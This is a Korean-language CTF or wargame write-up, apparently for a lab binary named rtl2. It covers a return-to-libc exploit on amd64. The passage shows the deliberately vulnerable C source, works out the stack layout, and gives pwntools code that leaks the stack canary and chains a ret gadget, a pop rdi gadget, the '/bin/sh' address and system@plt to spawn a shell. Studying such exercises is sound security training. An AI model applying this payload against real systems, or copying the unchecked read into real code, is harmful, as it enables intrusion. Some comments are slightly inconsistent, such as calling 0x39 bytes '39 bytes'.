
Canary와 NX가 적용되어 있다. ASLR은 어차피 커널에서 지원하는 것이니 당연히 될 것이다.
이번 거는 어쩐 일인지 아키텍처가 amd64이다.
// Name: rtl2.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh"; # 전역 변수로 선언된 binsh
int main() {
char buf[0x30]; # 0x30 짜리 버퍼
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt"); # system 함수의 plt주소를 알아내기 위해
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf); # 이곳에서 카나리 유출 가능
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100); # 이곳에서 가젯 사용
return 0;
}
/bin/sh가 전역변수로 주어져 있다. (전역변수는 데이터 영역)
→ 나중에 "/bin/sh"의 주소를 파악해서 이용해야 한다.

버퍼의 크기는 0x30 이고 canary의 크기는 0x8 인데 스택 프레임 크기는 0x40이다.
또 더미 데이터 가 존재하는 것으로 보인다.
카나리가 rbp-8부터 8바이트를 차지하므로,
더미 데이터 는 버퍼와 카나리 사이에 존재한다. 즉
구조는 대충 이렇다.
첫번째 입력에 A를 39개 보내서 카나리를 획득할 수 있다.
dummy=b'A'*0x39 # 8바이트의 더미 데이터가 있으므로 총 39바이트 전송 p.sendafter(b"Buf: ", dummy) p.recvuntil(dummy) canary=u64(b'\x00'+p.recvn(7))
0x400874
0x400853
0x400285
poprdi=0x400853 ret=0x400285 binsh=0x400874 payload=b'B'*0x38+p64(canary)+b'S'*0x8 # 버퍼+카나리+SFP payload+=p64(ret) # 반환 주소(그냥 ret) payload+=p64(poprdi) # pop rdi 주소 payload+=p64(binsh) # "/bin/sh" 주소 payload+=p64(e.plt['system']) # system() plt주소